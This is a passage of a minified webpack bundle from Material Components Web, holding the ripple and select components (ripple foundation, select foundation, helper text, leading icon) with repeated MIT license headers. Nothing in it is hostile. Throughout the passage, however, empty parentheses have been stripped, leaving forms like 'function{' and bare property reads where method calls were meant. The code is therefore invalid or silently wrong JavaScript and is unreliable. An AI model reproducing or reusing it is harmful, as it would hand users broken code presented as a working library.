SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i={BG_FOCUSED:"mdc-ripple-upgraded--background-focused",FG_ACTIVATION:"mdc-ripple-upgraded--foreground-activation",FG_DEACTIVATION:"mdc-ripple-upgraded--foreground-deactivation",ROOT:"mdc-ripple-upgraded",UNBOUNDED:"mdc-ripple-upgraded--unbounded"},r={VAR_FG_SCALE:"--mdc-ripple-fg-scale",VAR_FG_SIZE:"--mdc-ripple-fg-size",VAR_FG_TRANSLATE_END:"--mdc-ripple-fg-translate-end",VAR_FG_TRANSLATE_START:"--mdc-ripple-fg-translate-start",VAR_LEFT:"--mdc-ripple-left",VAR_TOP:"--mdc-ripple-top"},o={DEACTIVATION_TIMEOUT_MS:225,FG_DEACTIVATION_MS:150,INITIAL_ORIGIN_SCALE:.6,PADDING:10,TAP_DELAY_MS:300}},514:(e,t,n)=>{"use strict";n.d(t,{l:=>d});var i=n(655),r=n(6308),o=n(9552),a=n(4014),s=["touchstart","pointerdown","mousedown","keydown"],l=["touchend","pointerup","mouseup","contextmenu"],c=[],d=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.activationAnimationHasEnded=!1,r.activationTimer=0,r.fgDeactivationRemovalTimer=0,r.fgScale="0",r.frame={width:0,height:0},r.initialSize=0,r.layoutFrame=0,r.maxRadius=0,r.unboundedCoords={left:0,top:0},r.activationState=r.defaultActivationState,r.activationTimerCallback=function{r.activationAnimationHasEnded=!0,r.runDeactivationUXLogicIfReady},r.activateHandler=function(e){r.activateImpl(e)},r.deactivateHandler=function{r.deactivateImpl},r.focusHandler=function{r.handleFocus},r.blurHandler=function{r.handleBlur},r.resizeHandler=function{r.layout},r}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return o.UX},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return o.j2},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function{return o.KT},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},browserSupportsCssVars:function{return!0},computeBoundingRect:function{return{top:0,right:0,bottom:0,left:0,width:0,height:0}},containsEventTarget:function{return!0},deregisterDocumentInteractionHandler:function{},deregisterInteractionHandler:function{},deregisterResizeHandler:function{},getWindowPageOffset:function{return{x:0,y:0}},isSurfaceActive:function{return!0},isSurfaceDisabled:function{return!0},isUnbounded:function{return!0},registerDocumentInteractionHandler:function{},registerInteractionHandler:function{},registerResizeHandler:function{},removeClass:function{},updateCssVariable:function{}}},enumerable:!1,configurable:!0}),t.prototype.init=function{var e=this,n=this.supportsPressRipple;if(this.registerRootHandlers(n),n){var i=t.cssClasses,r=i.ROOT,o=i.UNBOUNDED;requestAnimationFrame((function{e.adapter.addClass(r),e.adapter.isUnbounded&&(e.adapter.addClass(o),e.layoutInternal)}))}},t.prototype.destroy=function{var e=this;if(this.supportsPressRipple){this.activationTimer&&(clearTimeout(this.activationTimer),this.activationTimer=0,this.adapter.removeClass(t.cssClasses.FG_ACTIVATION)),this.fgDeactivationRemovalTimer&&(clearTimeout(this.fgDeactivationRemovalTimer),this.fgDeactivationRemovalTimer=0,this.adapter.removeClass(t.cssClasses.FG_DEACTIVATION));var n=t.cssClasses,i=n.ROOT,r=n.UNBOUNDED;requestAnimationFrame((function{e.adapter.removeClass(i),e.adapter.removeClass(r),e.removeCssVars}))}this.deregisterRootHandlers,this.deregisterDeactivationHandlers},t.prototype.activate=function(e){this.activateImpl(e)},t.prototype.deactivate=function{this.deactivateImpl},t.prototype.layout=function{var e=this;this.layoutFrame&&cancelAnimationFrame(this.layoutFrame),this.layoutFrame=requestAnimationFrame((function{e.layoutInternal,e.layoutFrame=0}))},t.prototype.setUnbounded=function(e){var n=t.cssClasses.UNBOUNDED;e?this.adapter.addClass(n):this.adapter.removeClass(n)},t.prototype.handleFocus=function{var e=this;requestAnimationFrame((function{return e.adapter.addClass(t.cssClasses.BG_FOCUSED)}))},t.prototype.handleBlur=function{var e=this;requestAnimationFrame((function{return e.adapter.removeClass(t.cssClasses.BG_FOCUSED)}))},t.prototype.supportsPressRipple=function{return this.adapter.browserSupportsCssVars},t.prototype.defaultActivationState=function{return{activationEvent:void 0,hasDeactivationUXRun:!1,isActivated:!1,isProgrammatic:!1,wasActivatedByPointer:!1,wasElementMadeActive:!1}},t.prototype.registerRootHandlers=function(e){var t,n;if(e){try{for(var r=(0,i.__values)(s),o=r.next;!o.done;o=r.next){var a=o.value;this.adapter.registerInteractionHandler(a,this.activateHandler)}}catch(e){t={error:e}}finally{try{o&&!o.done&&(n=r.return)&&n.call(r)}finally{if(t)throw t.error}}this.adapter.isUnbounded&&this.adapter.registerResizeHandler(this.resizeHandler)}this.adapter.registerInteractionHandler("focus",this.focusHandler),this.adapter.registerInteractionHandler("blur",this.blurHandler)},t.prototype.registerDeactivationHandlers=function(e){var t,n;if("keydown"===e.type)this.adapter.registerInteractionHandler("keyup",this.deactivateHandler);else try{for(var r=(0,i.__values)(l),o=r.next;!o.done;o=r.next){var a=o.value;this.adapter.registerDocumentInteractionHandler(a,this.deactivateHandler)}}catch(e){t={error:e}}finally{try{o&&!o.done&&(n=r.return)&&n.call(r)}finally{if(t)throw t.error}}},t.prototype.deregisterRootHandlers=function{var e,t;try{for(var n=(0,i.__values)(s),r=n.next;!r.done;r=n.next){var o=r.value;this.adapter.deregisterInteractionHandler(o,this.activateHandler)}}catch(t){e={error:t}}finally{try{r&&!r.done&&(t=n.return)&&t.call(n)}finally{if(e)throw e.error}}this.adapter.deregisterInteractionHandler("focus",this.focusHandler),this.adapter.deregisterInteractionHandler("blur",this.blurHandler),this.adapter.isUnbounded&&this.adapter.deregisterResizeHandler(this.resizeHandler)},t.prototype.deregisterDeactivationHandlers=function{var e,t;this.adapter.deregisterInteractionHandler("keyup",this.deactivateHandler);try{for(var n=(0,i.__values)(l),r=n.next;!r.done;r=n.next){var o=r.value;this.adapter.deregisterDocumentInteractionHandler(o,this.deactivateHandler)}}catch(t){e={error:t}}finally{try{r&&!r.done&&(t=n.return)&&t.call(n)}finally{if(e)throw e.error}}},t.prototype.removeCssVars=function{var e=this,n=t.strings;Object.keys(n).forEach((function(t){0===t.indexOf("VAR_")&&e.adapter.updateCssVariable(n[t],null)}))},t.prototype.activateImpl=function(e){var t=this;if(!this.adapter.isSurfaceDisabled){var n=this.activationState;if(!n.isActivated){var i=this.previousActivationEvent;if(!(i&&void 0!==e&&i.type!==e.type))n.isActivated=!0,n.isProgrammatic=void 0===e,n.activationEvent=e,n.wasActivatedByPointer=!n.isProgrammatic&&(void 0!==e&&("mousedown"===e.type||"touchstart"===e.type||"pointerdown"===e.type)),void 0!==e&&c.length>0&&c.some((function(e){return t.adapter.containsEventTarget(e)}))?this.resetActivationState:(void 0!==e&&(c.push(e.target),this.registerDeactivationHandlers(e)),n.wasElementMadeActive=this.checkElementMadeActive(e),n.wasElementMadeActive&&this.animateActivation,requestAnimationFrame((function{c=[],n.wasElementMadeActive||void 0===e||" "!==e.key&&32!==e.keyCode||(n.wasElementMadeActive=t.checkElementMadeActive(e),n.wasElementMadeActive&&t.animateActivation),n.wasElementMadeActive||(t.activationState=t.defaultActivationState)})))}}},t.prototype.checkElementMadeActive=function(e){return void 0===e||"keydown"!==e.type||this.adapter.isSurfaceActive},t.prototype.animateActivation=function{var e=this,n=t.strings,i=n.VAR_FG_TRANSLATE_START,r=n.VAR_FG_TRANSLATE_END,o=t.cssClasses,a=o.FG_DEACTIVATION,s=o.FG_ACTIVATION,l=t.numbers.DEACTIVATION_TIMEOUT_MS;this.layoutInternal;var c="",d="";if(!this.adapter.isUnbounded){var u=this.getFgTranslationCoordinates,p=u.startPoint,h=u.endPoint;c=p.x+"px, "+p.y+"px",d=h.x+"px, "+h.y+"px"}this.adapter.updateCssVariable(i,c),this.adapter.updateCssVariable(r,d),clearTimeout(this.activationTimer),clearTimeout(this.fgDeactivationRemovalTimer),this.rmBoundedActivationClasses,this.adapter.removeClass(a),this.adapter.computeBoundingRect,this.adapter.addClass(s),this.activationTimer=setTimeout((function{e.activationTimerCallback}),l)},t.prototype.getFgTranslationCoordinates=function{var e,t=this.activationState,n=t.activationEvent;return{startPoint:e={x:(e=t.wasActivatedByPointer?(0,a.getNormalizedEventCoords)(n,this.adapter.getWindowPageOffset,this.adapter.computeBoundingRect):{x:this.frame.width/2,y:this.frame.height/2}).x-this.initialSize/2,y:e.y-this.initialSize/2},endPoint:{x:this.frame.width/2-this.initialSize/2,y:this.frame.height/2-this.initialSize/2}}},t.prototype.runDeactivationUXLogicIfReady=function{var e=this,n=t.cssClasses.FG_DEACTIVATION,i=this.activationState,r=i.hasDeactivationUXRun,a=i.isActivated;(r||!a)&&this.activationAnimationHasEnded&&(this.rmBoundedActivationClasses,this.adapter.addClass(n),this.fgDeactivationRemovalTimer=setTimeout((function{e.adapter.removeClass(n)}),o.KT.FG_DEACTIVATION_MS))},t.prototype.rmBoundedActivationClasses=function{var e=t.cssClasses.FG_ACTIVATION;this.adapter.removeClass(e),this.activationAnimationHasEnded=!1,this.adapter.computeBoundingRect},t.prototype.resetActivationState=function{var e=this;this.previousActivationEvent=this.activationState.activationEvent,this.activationState=this.defaultActivationState,setTimeout((function{return e.previousActivationEvent=void 0}),t.numbers.TAP_DELAY_MS)},t.prototype.deactivateImpl=function{var e=this,t=this.activationState;if(t.isActivated){var n=(0,i.__assign)({},t);t.isProgrammatic?(requestAnimationFrame((function{e.animateDeactivation(n)})),this.resetActivationState):(this.deregisterDeactivationHandlers,requestAnimationFrame((function{e.activationState.hasDeactivationUXRun=!0,e.animateDeactivation(n),e.resetActivationState})))}},t.prototype.animateDeactivation=function(e){var t=e.wasActivatedByPointer,n=e.wasElementMadeActive;(t||n)&&this.runDeactivationUXLogicIfReady},t.prototype.layoutInternal=function{var e=this;this.frame=this.adapter.computeBoundingRect;var n=Math.max(this.frame.height,this.frame.width);this.maxRadius=this.adapter.isUnbounded?n:Math.sqrt(Math.pow(e.frame.width,2)+Math.pow(e.frame.height,2))+t.numbers.PADDING;var i=Math.floor(n*t.numbers.INITIAL_ORIGIN_SCALE);this.adapter.isUnbounded&&i%2!=0?this.initialSize=i-1:this.initialSize=i,this.fgScale=""+this.maxRadius/this.initialSize,this.updateLayoutCssVars},t.prototype.updateLayoutCssVars=function{var e=t.strings,n=e.VAR_FG_SIZE,i=e.VAR_LEFT,r=e.VAR_TOP,o=e.VAR_FG_SCALE;this.adapter.updateCssVariable(n,this.initialSize+"px"),this.adapter.updateCssVariable(o,this.fgScale),this.adapter.isUnbounded&&(this.unboundedCoords={left:Math.round(this.frame.width/2-this.initialSize/2),top:Math.round(this.frame.height/2-this.initialSize/2)},this.adapter.updateCssVariable(i,this.unboundedCoords.left+"px"),this.adapter.updateCssVariable(r,this.unboundedCoords.top+"px"))},t}(r.K)},7933:(e,t,n)=>{"use strict";n.r(t),n.d(t,{util:=>i,MDCRipple:=>r.F,cssClasses:=>o.UX,numbers:=>o.KT,strings:=>o.j2,MDCRippleFoundation:=>a.l});var i=n(4014),r=n(1661),o=n(9552),a=n(514)} /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,4014:(e,t,n)=>{"use strict";var i;function r(e,t){void 0===t&&(t=!1);var n,r=e.CSS;if("boolean"==typeof i&&!t)return i;if(!(r&&"function"==typeof r.supports))return!1;var o=r.supports("--css-vars","yes"),a=r.supports("(--css-vars: yes)")&&r.supports("color","#00000000");return n=o||a,t||(i=n),n}function o(e,t,n){if(!e)return{x:0,y:0};var i,r,o=t.x,a=t.y,s=o+n.left,l=a+n.top;if("touchstart"===e.type){var c=e;i=c.changedTouches[0].pageX-s,r=c.changedTouches[0].pageY-l}else{var d=e;i=d.pageX-s,r=d.pageY-l}return{x:i,y:r}}n.r(t),n.d(t,{supportsCssVariables:=>r,getNormalizedEventCoords:=>o})},8859:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCSelect:=>S});var i=n(655),r=n(5179),o=n(7706),a=n(8323),s=n(5479),l=n(4144),c=n(7589),d=n(9966),u=n(1661),p=n(514),h={ACTIVATED:"mdc-select--activated",DISABLED:"mdc-select--disabled",FOCUSED:"mdc-select--focused",INVALID:"mdc-select--invalid",MENU_INVALID:"mdc-select__menu--invalid",OUTLINED:"mdc-select--outlined",REQUIRED:"mdc-select--required",ROOT:"mdc-select",WITH_LEADING_ICON:"mdc-select--with-leading-icon"},f={ARIA_CONTROLS:"aria-controls",ARIA_DESCRIBEDBY:"aria-describedby",ARIA_SELECTED_ATTR:"aria-selected",CHANGE_EVENT:"MDCSelect:change",HIDDEN_INPUT_SELECTOR:'input[type="hidden"]',LABEL_SELECTOR:".mdc-floating-label",LEADING_ICON_SELECTOR:".mdc-select__icon",LINE_RIPPLE_SELECTOR:".mdc-line-ripple",MENU_SELECTOR:".mdc-select__menu",OUTLINE_SELECTOR:".mdc-notched-outline",SELECTED_TEXT_SELECTOR:".mdc-select__selected-text",SELECT_ANCHOR_SELECTOR:".mdc-select__anchor",VALUE_ATTR:"data-value"},g={LABEL_SCALE:.75,UNSET_INDEX:-1,CLICK_DEBOUNCE_TIMEOUT_MS:330},m=n(6308),v=n(9502),A=function(e){function t(n,r){void 0===r&&(r={});var o=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return o.disabled=!1,o.isMenuOpen=!1,o.useDefaultValidation=!0,o.customValidity=!0,o.lastSelectedIndex=g.UNSET_INDEX,o.clickDebounceTimeout=0,o.recentlyClicked=!1,o.leadingIcon=r.leadingIcon,o.helperText=r.helperText,o}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return h},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function{return g},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return f},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},hasClass:function{return!1},activateBottomLine:function{},deactivateBottomLine:function{},getSelectedIndex:function{return-1},setSelectedIndex:function{},hasLabel:function{return!1},floatLabel:function{},getLabelWidth:function{return 0},setLabelRequired:function{},hasOutline:function{return!1},notchOutline:function{},closeOutline:function{},setRippleCenter:function{},notifyChange:function{},setSelectedText:function{},isSelectAnchorFocused:function{return!1},getSelectAnchorAttr:function{return""},setSelectAnchorAttr:function{},removeSelectAnchorAttr:function{},addMenuClass:function{},removeMenuClass:function{},openMenu:function{},closeMenu:function{},getAnchorElement:function{return null},setMenuAnchorElement:function{},setMenuAnchorCorner:function{},setMenuWrapFocus:function{},focusMenuItemAtIndex:function{},getMenuItemCount:function{return 0},getMenuItemValues:function{return[]},getMenuItemTextAtIndex:function{return""},isTypeaheadInProgress:function{return!1},typeaheadMatchItem:function{return-1}}},enumerable:!1,configurable:!0}),t.prototype.getSelectedIndex=function{return this.adapter.getSelectedIndex},t.prototype.setSelectedIndex=function(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=!1),e>=this.adapter.getMenuItemCount||(e===g.UNSET_INDEX?this.adapter.setSelectedText(""):this.adapter.setSelectedText(this.adapter.getMenuItemTextAtIndex(e).trim),this.adapter.setSelectedIndex(e),t&&this.adapter.closeMenu,n||this.lastSelectedIndex===e||this.handleChange,this.lastSelectedIndex=e)},t.prototype.setValue=function(e,t){void 0===t&&(t=!1);var n=this.adapter.getMenuItemValues.indexOf(e);this.setSelectedIndex(n,!1,t)},t.prototype.getValue=function{var e=this.adapter.getSelectedIndex,t=this.adapter.getMenuItemValues;return e!==g.UNSET_INDEX?t[e]:""},t.prototype.getDisabled=function{return this.disabled},t.prototype.setDisabled=function(e){this.disabled=e,this.disabled?(this.adapter.addClass(h.DISABLED),this.adapter.closeMenu):this.adapter.removeClass(h.DISABLED),this.leadingIcon&&this.leadingIcon.setDisabled(this.disabled),this.disabled?this.adapter.removeSelectAnchorAttr("tabindex"):this.adapter.setSelectAnchorAttr("tabindex","0"),this.adapter.setSelectAnchorAttr("aria-disabled",this.disabled.toString)},t.prototype.openMenu=function{this.adapter.addClass(h.ACTIVATED),this.adapter.openMenu,this.isMenuOpen=!0,this.adapter.setSelectAnchorAttr("aria-expanded","true")},t.prototype.setHelperTextContent=function(e){this.helperText&&this.helperText.setContent(e)},t.prototype.layout=function{if(this.adapter.hasLabel){var e=this.getValue.length>0,t=this.adapter.hasClass(h.FOCUSED),n=e||t,i=this.adapter.hasClass(h.REQUIRED);this.notchOutline(n),this.adapter.floatLabel(n),this.adapter.setLabelRequired(i)}},t.prototype.layoutOptions=function{var e=this.adapter.getMenuItemValues.indexOf(this.getValue);this.setSelectedIndex(e,!1,!0)},t.prototype.handleMenuOpened=function{if(0!==this.adapter.getMenuItemValues.length){var e=this.getSelectedIndex,t=e>=0?e:0;this.adapter.focusMenuItemAtIndex(t)}},t.prototype.handleMenuClosing=function{this.adapter.setSelectAnchorAttr("aria-expanded","false")},t.prototype.handleMenuClosed=function{this.adapter.removeClass(h.ACTIVATED),this.isMenuOpen=!1,this.adapter.isSelectAnchorFocused||this.blur},t.prototype.handleChange=function{this.layout,this.adapter.notifyChange(this.getValue),this.adapter.hasClass(h.REQUIRED)&&this.useDefaultValidation&&this.setValid(this.isValid)},t.prototype.handleMenuItemAction=function(e){this.setSelectedIndex(e,!0)},t.prototype.handleFocus=function{this.adapter.addClass(h.FOCUSED),this.layout,this.adapter.activateBottomLine},t.prototype.handleBlur=function{this.isMenuOpen||this.blur},t.prototype.handleClick=function(e){this.disabled||this.recentlyClicked||(this.setClickDebounceTimeout,this.isMenuOpen?this.adapter.closeMenu:(this.adapter.setRippleCenter(e),this.openMenu))},t.prototype.handleKeydown=function(e){if(!this.isMenuOpen&&this.adapter.hasClass(h.FOCUSED)){var t=(0,v.ku)(e)===v.Fn.ENTER,n=(0,v.ku)(e)===v.Fn.SPACEBAR,i=(0,v.ku)(e)===v.Fn.ARROW_UP,r=(0,v.ku)(e)===v.Fn.ARROW_DOWN;if(!(e.ctrlKey||e.metaKey)&&(!n&&e.key&&1===e.key.length||n&&this.adapter.isTypeaheadInProgress)){var o=n?" ":e.key,a=this.adapter.typeaheadMatchItem(o,this.getSelectedIndex);return a>=0&&this.setSelectedIndex(a),void e.preventDefault}(t||n||i||r)&&(i&&this.getSelectedIndex>0?this.setSelectedIndex(this.getSelectedIndex-1):r&&this.getSelectedIndex<this.adapter.getMenuItemCount-1&&this.setSelectedIndex(this.getSelectedIndex+1),this.openMenu,e.preventDefault)}},t.prototype.notchOutline=function(e){if(this.adapter.hasOutline){var t=this.adapter.hasClass(h.FOCUSED);if(e){var n=g.LABEL_SCALE,i=this.adapter.getLabelWidth*n;this.adapter.notchOutline(i)}else t||this.adapter.closeOutline}},t.prototype.setLeadingIconAriaLabel=function(e){this.leadingIcon&&this.leadingIcon.setAriaLabel(e)},t.prototype.setLeadingIconContent=function(e){this.leadingIcon&&this.leadingIcon.setContent(e)},t.prototype.getUseDefaultValidation=function{return this.useDefaultValidation},t.prototype.setUseDefaultValidation=function(e){this.useDefaultValidation=e},t.prototype.setValid=function(e){this.useDefaultValidation||(this.customValidity=e),this.adapter.setSelectAnchorAttr("aria-invalid",(!e).toString),e?(this.adapter.removeClass(h.INVALID),this.adapter.removeMenuClass(h.MENU_INVALID)):(this.adapter.addClass(h.INVALID),this.adapter.addMenuClass(h.MENU_INVALID)),this.syncHelperTextValidity(e)},t.prototype.isValid=function{return this.useDefaultValidation&&this.adapter.hasClass(h.REQUIRED)&&!this.adapter.hasClass(h.DISABLED)?this.getSelectedIndex!==g.UNSET_INDEX&&(0!==this.getSelectedIndex||Boolean(this.getValue)):this.customValidity},t.prototype.setRequired=function(e){e?this.adapter.addClass(h.REQUIRED):this.adapter.removeClass(h.REQUIRED),this.adapter.setSelectAnchorAttr("aria-required",e.toString),this.adapter.setLabelRequired(e)},t.prototype.getRequired=function{return"true"===this.adapter.getSelectAnchorAttr("aria-required")},t.prototype.init=function{var e=this.adapter.getAnchorElement;e&&(this.adapter.setMenuAnchorElement(e),this.adapter.setMenuAnchorCorner(s.Ns.BOTTOM_START)),this.adapter.setMenuWrapFocus(!1),this.setDisabled(this.adapter.hasClass(h.DISABLED)),this.syncHelperTextValidity(!this.adapter.hasClass(h.INVALID)),this.layout,this.layoutOptions},t.prototype.blur=function{this.adapter.removeClass(h.FOCUSED),this.layout,this.adapter.deactivateBottomLine,this.adapter.hasClass(h.REQUIRED)&&this.useDefaultValidation&&this.setValid(this.isValid)},t.prototype.syncHelperTextValidity=function(e){if(this.helperText){this.helperText.setValidity(e);var t=this.helperText.isVisible,n=this.helperText.getId;t&&n?this.adapter.setSelectAnchorAttr(f.ARIA_DESCRIBEDBY,n):this.adapter.removeSelectAnchorAttr(f.ARIA_DESCRIBEDBY)}},t.prototype.setClickDebounceTimeout=function{var e=this;clearTimeout(this.clickDebounceTimeout),this.clickDebounceTimeout=setTimeout((function{e.recentlyClicked=!1}),g.CLICK_DEBOUNCE_TIMEOUT_MS),this.recentlyClicked=!0},t}(m.K); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var y={ARIA_HIDDEN:"aria-hidden",ROLE:"role"},_={HELPER_TEXT_VALIDATION_MSG:"mdc-select-helper-text--validation-msg",HELPER_TEXT_VALIDATION_MSG_PERSISTENT:"mdc-select-helper-text--validation-msg-persistent"},b=function(e){function t(n){return e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return _},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return y},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},hasClass:function{return!1},setAttr:function{},getAttr:function{return null},removeAttr:function{},setContent:function{}}},enumerable:!1,configurable:!0}),t.prototype.getId=function{return this.adapter.getAttr("id")},t.prototype.isVisible=function{return"true"!==this.adapter.getAttr(y.ARIA_HIDDEN)},t.prototype.setContent=function(e){this.adapter.setContent(e)},t.prototype.setValidation=function(e){e?this.adapter.addClass(_.HELPER_TEXT_VALIDATION_MSG):this.adapter.removeClass(_.HELPER_TEXT_VALIDATION_MSG)},t.prototype.setValidationMsgPersistent=function(e){e?this.adapter.addClass(_.HELPER_TEXT_VALIDATION_MSG_PERSISTENT):this.adapter.removeClass(_.HELPER_TEXT_VALIDATION_MSG_PERSISTENT)},t.prototype.setValidity=function(e){if(this.adapter.hasClass(_.HELPER_TEXT_VALIDATION_MSG)){var t=this.adapter.hasClass(_.HELPER_TEXT_VALIDATION_MSG_PERSISTENT);if(!e||t)return this.showToScreenReader,void(e?this.adapter.removeAttr(y.ROLE):this.adapter.setAttr(y.ROLE,"alert"));this.adapter.removeAttr(y.ROLE),this.hide}},t.prototype.showToScreenReader=function{this.adapter.removeAttr(y.ARIA_HIDDEN)},t.prototype.hide=function{this.adapter.setAttr(y.ARIA_HIDDEN,"true")},t}(m.K); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var I=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},Object.defineProperty(t.prototype,"foundationForSelect",{get:function{return this.foundation},enumerable:!1,configurable:!0}),t.prototype.getDefaultFoundation=function{var e=this;return new b({addClass:function(t){return e.root.classList.add(t)},removeClass:function(t){return e.root.classList.remove(t)},hasClass:function(t){return e.root.classList.contains(t)},getAttr:function(t){return e.root.getAttribute(t)},setAttr:function(t,n){return e.root.setAttribute(t,n)},removeAttr:function(t){return e.root.removeAttribute(t)},setContent:function(t){e.root.textContent=t}})},t}(r.B),C={ICON_EVENT:"MDCSelect:icon",ICON_ROLE:"button"},E=["click","keydown"],T=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.savedTabIndex=null,r.interactionHandler=function(e){r.handleInteraction(e)},r}return(0,i.__extends)(t,e),Object.defineProperty(t,"strings",{get:function{return C},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{getAttr:function{return null},setAttr:function{},removeAttr:function{},setContent:function{},registerInteractionHandler:function{},deregisterInteractionHandler:function{},notifyIconAction:function{}}},enumerable:!1,configurable:!0}),t.prototype.init=function{var e,t;this.savedTabIndex=this.adapter.getAttr("tabindex");try{for(var n=(0,i.__values)(E),r=n.next;!r.done;r=n.next){var o=r.value;this.adapter.registerInteractionHandler(o,this.interactionHandler)}}catch(t){e={error:t}}finally{try{r&&!r.done&&(t=n.return)&&t.call(n)}finally{if(e)throw e.error}}},t.prototype.destroy=function{var e,t;try{for(var n=(0,i.__values)(E),r=n.next;!r.done;r=n.next){var o=r.value;this.adapter.deregisterInteractionHandler(o,this.interactionHandler)}}catch(t){e={error:t}}finally{try{r&&!r.done&&(t=n.return)&&t.call(n)}finally{if(e)throw e.error}}},t.prototype.setDisabled=function(e){this.savedTabIndex&&(e?(this.adapter.setAttr("tabindex","-1"),this.adapter.removeAttr("role")):(this.adapter.setAttr("tabindex",this.savedTabIndex),this.adapter.setAttr("role",C.ICON_ROLE)))},t.prototype.setAriaLabel=function(e){this.adapter.setAttr("aria-label",e)},t.prototype.setContent=function(e){this.adapter.setContent(e)},t.prototype.handleInteraction=function(e){var t="Enter"===e.key||13===e.keyCode;("click"===e.type||t)&&this.adapter.notifyIconAction},t}(m.K); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 